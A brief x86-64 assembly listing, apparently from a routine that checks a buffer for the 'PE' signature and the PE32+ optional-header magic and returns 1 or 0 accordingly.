add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4cc161
mov eax, 0
jmp 0x2fc4cc186
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4cc181
mov eax, 0
jmp 0x2fc4cc186
mov eax, 1
add rsp, 0x20
pop rbp
ret